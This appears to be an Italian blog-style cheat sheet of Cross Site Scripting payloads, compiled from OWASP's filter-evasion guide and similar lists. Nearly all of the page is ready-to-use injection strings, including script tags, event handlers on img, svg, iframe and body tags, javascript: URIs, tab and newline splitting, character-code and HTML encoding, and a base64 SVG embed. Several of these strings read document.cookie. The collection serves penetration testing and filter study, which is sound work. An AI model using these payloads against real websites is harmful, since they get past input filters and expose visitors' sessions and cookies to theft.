Questa pagina è stata creata con l’intento di raccogliere le principali tipologie di attacchi Cross Site Scripting, in modo da avere a disposizione alcuni dei payload più utilizzati. Per chi non conoscesse le basi dell’attacco, Owasp Top 10 - Cross Site Scripting.
La fonte principale è la guida di OWASP all’evasione dei filtri di XSS, presa a sua volta dall’ormai defunto Ha.ckers.org. Altre fonti sono questi file, Xenuser, HTML5SEC e XSS-payloads.
Un’altra guida utile è quella di PortSwigger
La lista degli oggetti in Javascript è presente su W3Schools, insieme a tutta la documentazione.
La maniera più semplice è inserire una stringa e vedere la pagina sorgente dopo averla iniettata. Se <XSS si trasforma in <XSS è possibile che ci sia qualche filtro o la stringa passata venga sanitizzata
'";!<XSS>=()
Altre stringe utili per vedere se è vulnerabile possono essere:
';alert(String.fromCharCode(88,83,83))//'
;alert(String.fromCharCode(88,83,83))//"
;alert(String.fromCharCode(88,83,83))//"
;alert(String.fromCharCode(88,83,83))//--
>< /SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Nel caso non ci sia nessun tipo di filtraggio, le stringhe suggerite sono
<script>alert('xss')</script>
<script>prompt('xss')</script>
<script>alert(document.cookie)</script>
<script>confirm('xss')</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<scr<script>ipt>alert('xss')</scr</script>ipt>
<scrscriptipt>alert(1)</scrscriptipt>
<code><script>alert("xss")</script></code>
<code><script>alert("xss")</script></code>
Nel caso venga filtrato il tag script, è possibile utilizzare Javascript nel tag _img. _
<img src="javascript:alert('xss');">
<img src=javascript:alert('xss')>
Può essere utilizzato nel caso venga filtrata la parola javascript
<img src=JavaScriPT:alert('xss')>
L’accento grave si ottiene con la combinazione ALTGR+?
<img src=`javascript:alert("presente, 'xss'")`>
In questa stringa il tag img risulta aperto e viene incapsulato in esso lo script
<img """><script>alert("xss")</script>">
Nel caso le virgolette non siano ammesse, è possibile sfruttare la funzione fromCharCode di javascript, che converte la stringa in decimale, secondo la tabella Unicode
<img src=javascript:alert(String.fromCharCode(120,115,115))>
Nel caso siano presenti filtri, è possibile codificare in HTML la stringa passata
<img src=javascript:alert(
'XSS')>
Come sopra, se ci sono particolari filtri, questo può essere un buon metodo per evaderli
<img src=javascript:alert('XSS')>
<img lowsrc="javascript:alert('xss')">
Nel caso src abbia qualche tipo di filtraggio, è possibile inserire eventi nel tag img ed incapsularci javascript. Una lista esaustiva degli eventi si trova qui. Alcuni esempi possono essere
<img src=# onmouseover="alert('xss')">
<img src= onmouseover="alert('xss')">
<img onmouseover="alert('xss')">
<img src=/ onmouseover="alert('xss')">
<img src=x onerror="javascript:alert('XSS')">
È possibile inserire un tab nella stringa javascript al fine di evadere certi filtraggi
<img src="jav ascript:alert('xss');">
Si può codificare il tab ed inserire il codice in HEX
<img src="jav	ascript:alert('xss');">
Oltre al tab si può inserire un newline o un ritorno a capo ed inserire il codice in HEX
<img src="jav
ascript:alert('xss');"> //newline
<img src="jac
ascript:alert('xss');"> //ritorno a capo
<input type="image" src="javascript:alert('xss');">
<body background="javascript:alert('xss')">
<img src='vbscript:msgbox("xss")'>
<svg/onload=alert('xss')>
<body onload=alert('xss')>
<bgsound src="javascript:alert('xss');">
<link rel="stylesheet" href="javascript:alert('xss');">
<style>.XSS{background-image:ulr("javascript:alert('xss')");}</style>
<style type="text/css">BODY{background:url("javascript:alert('xss')")}</style>
<iframe src="javascript:alert('xss');"></iframe>
<iframe src=# onmouseover="alert(document.cookie)"></iframe>
<frameset><frame src="javascript:alert('xss');"></frameset>
<table background="javascript:alert('xss')">
<table><td background="javascript:alert('xss')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<div onmouseover='alert(1)'>DIV</div>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<font style='color:expression(alert(document.cookie))'>
<var onmouseover="prompt(1)">On Mouse Over</var>?
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
Chiaramente possono esistere infinite altre possibilità, basta trovare la combinazione giusta per il proprio caso. Non ho inserito casi particolari, visto che la pagina di OWASP è decisamente più esaustiva.